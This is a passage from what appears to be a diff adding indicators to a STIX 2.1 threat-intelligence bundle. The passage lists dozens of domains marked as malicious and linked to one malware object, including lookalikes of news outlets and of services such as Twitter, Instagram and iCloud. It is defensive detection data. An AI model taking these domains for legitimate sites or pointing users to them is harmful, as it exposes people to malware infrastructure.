"2026-02-17T19:39:51.86711Z", + "modified": "2026-02-17T19:39:51.86711Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newzeto.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.86711Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6586d017-7149-4a4d-aaf7-06d6953be0cc", + "created": "2026-02-17T19:39:51.867474Z", + "modified": "2026-02-17T19:39:51.867474Z", + "relationship_type": "indicates", + "source_ref": "indicator--21e40851-8030-47d4-94e5-0d4dd317a163", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--85365601-bbe3-4789-9401-2c123035de78", + "created": "2026-02-17T19:39:51.86755Z", + "modified": "2026-02-17T19:39:51.86755Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trkc.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.86755Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1e9c77c7-9f2c-49c6-8d2d-010e76556f1c", + "created": "2026-02-17T19:39:51.867843Z", + "modified": "2026-02-17T19:39:51.867843Z", + "relationship_type": "indicates", + "source_ref": "indicator--85365601-bbe3-4789-9401-2c123035de78", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c4516413-d085-4de4-9352-6460992b7b2b", + "created": "2026-02-17T19:39:51.867916Z", + "modified": "2026-02-17T19:39:51.867916Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gulfsports.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.867916Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--879d5c57-a91d-4a0a-9fb8-fe7bdb89001b", + "created": "2026-02-17T19:39:51.868208Z", + "modified": "2026-02-17T19:39:51.868208Z", + "relationship_type": "indicates", + "source_ref": "indicator--c4516413-d085-4de4-9352-6460992b7b2b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1b65f209-742e-48a5-9586-cb1227cd96e8", + "created": "2026-02-17T19:39:51.86828Z", + "modified": "2026-02-17T19:39:51.86828Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tobupmi.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.86828Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4e10e6a4-96f1-4ad9-a3cc-3bc9a7cdc622", + "created": "2026-02-17T19:39:51.868569Z", + "modified": "2026-02-17T19:39:51.868569Z", + "relationship_type": "indicates", + "source_ref": "indicator--1b65f209-742e-48a5-9586-cb1227cd96e8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff16355b-a62e-402f-bfe1-bb83ed2b4419", + "created": "2026-02-17T19:39:51.868643Z", + "modified": "2026-02-17T19:39:51.868643Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bitt.fi']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.868643Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3a56279b-d12d-4c98-a55e-3d4b195e3e75", + "created": "2026-02-17T19:39:51.868929Z", + "modified": "2026-02-17T19:39:51.868929Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff16355b-a62e-402f-bfe1-bb83ed2b4419", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2f4498de-6762-448d-abfc-5eb2556b1333", + "created": "2026-02-17T19:39:51.869002Z", + "modified": "2026-02-17T19:39:51.869002Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shortenurls.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.869002Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59dc97d0-ba77-4b04-b24a-ffb2c9df8ad8", + "created": "2026-02-17T19:39:51.869297Z", + "modified": "2026-02-17T19:39:51.869297Z", + "relationship_type": "indicates", + "source_ref": "indicator--2f4498de-6762-448d-abfc-5eb2556b1333", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8a32b1a-5dde-4ab3-bf4c-d5c6a5ab11a8", + "created": "2026-02-17T19:39:51.869371Z", + "modified": "2026-02-17T19:39:51.869371Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mulherevips.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.869371Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--71ef8340-9127-4d66-8803-ea02c62c6eb5", + "created": "2026-02-17T19:39:51.869664Z", + "modified": "2026-02-17T19:39:51.869664Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8a32b1a-5dde-4ab3-bf4c-d5c6a5ab11a8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--632b292c-edff-4b31-a118-60b78c1eb0ac", + "created": "2026-02-17T19:39:51.869738Z", + "modified": "2026-02-17T19:39:51.869738Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fast-notify.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.869738Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f6024fa2-0ea1-4ef9-98f7-5d4a3859d8ab", + "created": "2026-02-17T19:39:51.870033Z", + "modified": "2026-02-17T19:39:51.870033Z", + "relationship_type": "indicates", + "source_ref": "indicator--632b292c-edff-4b31-a118-60b78c1eb0ac", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b1d037dd-1e13-4060-b81b-6b1cd34ef8af", + "created": "2026-02-17T19:39:51.870106Z", + "modified": "2026-02-17T19:39:51.870106Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updates4you.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.870106Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6044bd6c-7137-4a2d-af98-8e3e6361f0f5", + "created": "2026-02-17T19:39:51.870401Z", + "modified": "2026-02-17T19:39:51.870401Z", + "relationship_type": "indicates", + "source_ref": "indicator--b1d037dd-1e13-4060-b81b-6b1cd34ef8af", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7273dd16-42fb-4ca0-95e6-da4f64c84292", + "created": "2026-02-17T19:39:51.870476Z", + "modified": "2026-02-17T19:39:51.870476Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jornalf8.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.870476Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--37c059fd-c508-41dc-a824-353a78b3f11d", + "created": "2026-02-17T19:39:51.870831Z", + "modified": "2026-02-17T19:39:51.870831Z", + "relationship_type": "indicates", + "source_ref": "indicator--7273dd16-42fb-4ca0-95e6-da4f64c84292", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--86e6d8bb-86e7-4dc4-9660-86642e49a8d3", + "created": "2026-02-17T19:39:51.870907Z", + "modified": "2026-02-17T19:39:51.870907Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='icloudflair.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.870907Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c712eb0b-ce25-40b1-bb16-6b14f3367692", + "created": "2026-02-17T19:39:51.871212Z", + "modified": "2026-02-17T19:39:51.871212Z", + "relationship_type": "indicates", + "source_ref": "indicator--86e6d8bb-86e7-4dc4-9660-86642e49a8d3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57d641f8-f39c-4257-9de9-abbb2d5e9dbe", + "created": "2026-02-17T19:39:51.871285Z", + "modified": "2026-02-17T19:39:51.871285Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='novosti.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.871285Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--03bc5583-1e41-4626-bf2f-7689b9ba7446", + "created": "2026-02-17T19:39:51.871578Z", + "modified": "2026-02-17T19:39:51.871578Z", + "relationship_type": "indicates", + "source_ref": "indicator--57d641f8-f39c-4257-9de9-abbb2d5e9dbe", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--12360ec0-cfa4-4f5b-8f0d-e3208118f4ca", + "created": "2026-02-17T19:39:51.871651Z", + "modified": "2026-02-17T19:39:51.871651Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twtter.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.871651Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0dfc9ff4-d964-4777-9c73-3ee7fb21be44", + "created": "2026-02-17T19:39:51.871939Z", + "modified": "2026-02-17T19:39:51.871939Z", + "relationship_type": "indicates", + "source_ref": "indicator--12360ec0-cfa4-4f5b-8f0d-e3208118f4ca", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--71b3b7e6-7326-4bdf-baa7-c791e5136868", + "created": "2026-02-17T19:39:51.872012Z", + "modified": "2026-02-17T19:39:51.872012Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tgrthgsrgwrthwrtgwr.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.872012Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--72d18aa2-d82b-4e72-9150-cfeb79298b1b", + "created": "2026-02-17T19:39:51.872319Z", + "modified": "2026-02-17T19:39:51.872319Z", + "relationship_type": "indicates", + "source_ref": "indicator--71b3b7e6-7326-4bdf-baa7-c791e5136868", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--065b3b0a-a1bb-45a6-9746-d25f2773c488", + "created": "2026-02-17T19:39:51.872392Z", + "modified": "2026-02-17T19:39:51.872392Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='getsignalapps.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.872392Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0f251657-8286-44c7-a4b6-4acaa9f15e84", + "created": "2026-02-17T19:39:51.872693Z", + "modified": "2026-02-17T19:39:51.872693Z", + "relationship_type": "indicates", + "source_ref": "indicator--065b3b0a-a1bb-45a6-9746-d25f2773c488", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed6ef3b1-428b-4d45-9f39-5ccad2b46402", + "created": "2026-02-17T19:39:51.872767Z", + "modified": "2026-02-17T19:39:51.872767Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smsuns.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.872767Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3373d3f4-aae6-4a9f-899e-19ebd2747e85", + "created": "2026-02-17T19:39:51.873054Z", + "modified": "2026-02-17T19:39:51.873054Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed6ef3b1-428b-4d45-9f39-5ccad2b46402", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4a33084e-e157-44dc-9eb6-51bece9de2dd", + "created": "2026-02-17T19:39:51.873127Z", + "modified": "2026-02-17T19:39:51.873127Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mobnetlink2.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.873127Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b2d3a8ec-3d66-4530-9194-1d116e452008", + "created": "2026-02-17T19:39:51.873422Z", + "modified": "2026-02-17T19:39:51.873422Z", + "relationship_type": "indicates", + "source_ref": "indicator--4a33084e-e157-44dc-9eb6-51bece9de2dd", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e74633a-dc0d-4fb4-8579-ac3352949b79", + "created": "2026-02-17T19:39:51.873496Z", + "modified": "2026-02-17T19:39:51.873496Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='affise.app']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.873496Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f512a302-3d45-4416-9667-2d933561346c", + "created": "2026-02-17T19:39:51.873787Z", + "modified": "2026-02-17T19:39:51.873787Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e74633a-dc0d-4fb4-8579-ac3352949b79", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--81bf2fa9-7a5b-438d-9fd4-01ecc7a5854b", + "created": "2026-02-17T19:39:51.873861Z", + "modified": "2026-02-17T19:39:51.873861Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='etisalatgreen.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.873861Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a8857cf1-fcd3-4003-8691-c624af16676a", + "created": "2026-02-17T19:39:51.874404Z", + "modified": "2026-02-17T19:39:51.874404Z", + "relationship_type": "indicates", + "source_ref": "indicator--81bf2fa9-7a5b-438d-9fd4-01ecc7a5854b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ccec138-845e-4109-a221-0807563f074a", + "created": "2026-02-17T19:39:51.874482Z", + "modified": "2026-02-17T19:39:51.874482Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='omanreal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.874482Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--258df83a-2c7e-4b00-8c96-ceced17c39e1", + "created": "2026-02-17T19:39:51.87478Z", + "modified": "2026-02-17T19:39:51.87478Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ccec138-845e-4109-a221-0807563f074a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--11e87745-13a6-4e12-ac6b-1e9bbd497d82", + "created": "2026-02-17T19:39:51.874854Z", + "modified": "2026-02-17T19:39:51.874854Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bulk-ads.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.874854Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--69e966cd-0291-4aaa-9b4e-cf5d5fb60ac2", + "created": "2026-02-17T19:39:51.875143Z", + "modified": "2026-02-17T19:39:51.875143Z", + "relationship_type": "indicates", + "source_ref": "indicator--11e87745-13a6-4e12-ac6b-1e9bbd497d82", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7753dbdc-430e-4b19-8b61-a9099e15101b", + "created": "2026-02-17T19:39:51.875217Z", + "modified": "2026-02-17T19:39:51.875217Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yo-um7.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.875217Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--03fdb160-5074-492b-921d-107faec73412", + "created": "2026-02-17T19:39:51.875566Z", + "modified": "2026-02-17T19:39:51.875566Z", + "relationship_type": "indicates", + "source_ref": "indicator--7753dbdc-430e-4b19-8b61-a9099e15101b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ad27d767-d579-4847-b64b-799bd59ed751", + "created": "2026-02-17T19:39:51.875642Z", + "modified": "2026-02-17T19:39:51.875642Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='instagam.click']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.875642Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--23de9368-3ad0-4eba-92f1-233c95a19c5a", + "created": "2026-02-17T19:39:51.875934Z", + "modified": "2026-02-17T19:39:51.875934Z", + "relationship_type": "indicates", + "source_ref": "indicator--ad27d767-d579-4847-b64b-799bd59ed751", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a5a46e93-c779-42e9-a6d7-36e363812d9b", + "created": "2026-02-17T19:39:51.876008Z", + "modified": "2026-02-17T19:39:51.876008Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='businessafricaonline.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.876008Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4f5c921c-c72e-45ff-a144-a53189dfdcf1", + "created": "2026-02-17T19:39:51.876306Z", + "modified": "2026-02-17T19:39:51.876306Z", + "relationship_type": "indicates", + "source_ref": "indicator--a5a46e93-c779-42e9-a6d7-36e363812d9b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--404863a5-5bf1-47aa-bdda-713afa7cc597", + "created": "2026-02-17T19:39:51.876382Z", + "modified": "2026-02-17T19:39:51.876382Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jornaldeangola.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.876382Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d73decde-b845-4cea-bdf4-39035675e2a3", + "created": "2026-02-17T19:39:51.876679Z", + "modified": "2026-02-17T19:39:51.876679Z", + "relationship_type": "indicates", + "source_ref": "indicator--404863a5-5bf1-47aa-bdda-713afa7cc597", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4342ba0b-59da-4479-ab5d-9a457b92f432", + "created": "2026-02-17T19:39:51.876753Z", + "modified": "2026-02-17T19:39:51.876753Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='guardnews.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.876753Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fafcb79f-5afa-416e-8b11-d987b0195ef5", + "created": "2026-02-17T19:39:51.877049Z", + "modified": "2026-02-17T19:39:51.877049Z", + "relationship_type": "indicates", + "source_ref": "indicator--4342ba0b-59da-4479-ab5d-9a457b92f432", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4012e7a4-ecb9-47a2-b4aa-792bc2928ef4", + "created": "2026-02-17T19:39:51.877122Z", + "modified": "2026-02-17T19:39:51.877122Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kathimerini.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.877122Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0446693f-70df-4650-9a97-24cccc78dc47", + "created": "2026-02-17T19:39:51.877415Z", + "modified": "2026-02-17T19:39:51.877415Z", + "relationship_type": "indicates", + "source_ref": "indicator--4012e7a4-ecb9-47a2-b4aa-792bc2928ef4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a7e2b519-20e6-4af5-8deb-a2458811f56a", + "created": "2026-02-17T19:39:51.877487Z", + "modified": "2026-02-17T19:39:51.877487Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wesalcity.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.877487Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--55bc7c06-f3ee-471c-b57b-42819999169e", + "created": "2026-02-17T19:39:51.877778Z", + "modified": "2026-02-17T19:39:51.877778Z", + "relationship_type": "indicates", + "source_ref": "indicator--a7e2b519-20e6-4af5-8deb-a2458811f56a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--95155270-57e5-40ea-989d-6a12fa83982f", + "created": "2026-02-17T19:39:51.877853Z", + "modified": "2026-02-17T19:39:51.877853Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='krisha-kz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.877853Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dc5e24bb-7846-4cab-8eb5-b273c8328c14", + "created": "2026-02-17T19:39:51.882804Z", + "modified": "2026-02-17T19:39:51.882804Z", + "relationship_type": "indicates", + "source_ref": "indicator--95155270-57e5-40ea-989d-6a12fa83982f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--165d439f-b8b0-43c8-a6ee-6da81e37d165", + "created": "2026-02-17T19:39:51.882927Z", + "modified": "2026-02-17T19:39:51.882927Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='utube.to']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.882927Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f9f8db3-78a9-4494-9f23-1fd5109065e2", + "created": "2026-02-17T19:39:51.883241Z", + "modified": "2026-02-17T19:39:51.883241Z", + "relationship_type": "indicates", + "source_ref": "indicator--165d439f-b8b0-43c8-a6ee-6da81e37d165", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--505844dc-6ee6-490d-a121-25f5ed6f53bc", + "created": "2026-02-17T19:39:51.883321Z", + "modified": "2026-02-17T19:39:51.883321Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fdnews.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.883321Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a867d341-a81e-4822-9c60-f7d827b7df29", + "created": "2026-02-17T19:39:51.883622Z", + "modified": "2026-02-17T19:39:51.883622Z", + "relationship_type": "indicates", + "source_ref": "indicator--505844dc-6ee6-490d-a121-25f5ed6f53bc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f494a31e-6335-4640-8659-11cb0e87a60c", + "created": "2026-02-17T19:39:51.883703Z", + "modified": "2026-02-17T19:39:51.883703Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shoxtek.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.883703Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b4b4314d-2e92-4f3a-84f9-724b1637e03a", + "created": "2026-02-17T19:39:51.884003Z", + "modified": "2026-02-17T19:39:51.884003Z", + "relationship_type": "indicates", + "source_ref": "indicator--f494a31e-6335-4640-8659-11cb0e87a60c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77a4e5de-3aa1-4ee2-8277-ee7d5c82f565", + "created": "2026-02-17T19:39:51.884079Z", + "modified": "2026-02-17T19:39:51.884079Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blacktrail.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.884079Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fbc80071-259b-46b7-9a2f-e8fd8fcc5c8b", + "created": "2026-02-17T19:39:51.884372Z", + "modified": "2026-02-17T19:39:51.884372Z", + "relationship_type": "indicates", + "source_ref": "indicator--77a4e5de-3aa1-4ee2-8277-ee7d5c82f565", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--710e5b57-dda6-49d0-8626-1de690672b0a", + "created": "2026-02-17T19:39:51.884446Z", + "modified": "2026-02-17T19:39:51.884446Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='protothema.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.884446Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--88c03b41-0aae-433b-a3ff-bd525ea3f9c7", + "created": "2026-02-17T19:39:51.884743Z", + "modified": "2026-02-17T19:39:51.884743Z", + "relationship_type": "indicates", + "source_ref": "indicator--710e5b57-dda6-49d0-8626-1de690672b0a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a98d39d6-064d-4438-9ecc-b1d246cf7130", + "created": "2026-02-17T19:39:51.884818Z", + "modified": "2026-02-17T19:39:51.884818Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nassosblog.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.884818Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--83bbc7ba-62ce-481b-bf44-3325a46cee4f", + "created": "2026-02-17T19:39:51.885116Z", + "modified": "2026-02-17T19:39:51.885116Z", + "relationship_type": "indicates", + "source_ref": "indicator--a98d39d6-064d-4438-9ecc-b1d246cf7130", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3adc259a-b676-4cd3-b130-2445acd7d3e9", + "created": "2026-02-17T19:39:51.88519Z", + "modified": "2026-02-17T19:39:51.88519Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='solargroup.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.88519Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ebad6a7-a5ea-4b43-94d4-b836f0814cae", + "created": "2026-02-17T19:39:51.885542Z", + "modified": "2026-02-17T19:39:51.885542Z", + "relationship_type": "indicates", + "source_ref": "indicator--3adc259a-b676-4cd3-b130-2445acd7d3e9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b63265f-596b-44cd-857b-98efac580074", + "created": "2026-02-17T19:39:51.885618Z", + "modified": "2026-02-17T19:39:51.885618Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='niceonesa.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.885618Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ae4b0013-bea2-43ca-a01f-0ed14b584cb7", + "created": "2026-02-17T19:39:51.885916Z", + "modified": "2026-02-17T19:39:51.885916Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b63265f-596b-44cd-857b-98efac580074", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c44b931b-d2c8-41a1-9d97-62d0a6a8b03b", + "created": "2026-02-17T19:39:51.885992Z", + "modified": "2026-02-17T19:39:51.885992Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='corporatebusinesssolution.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": 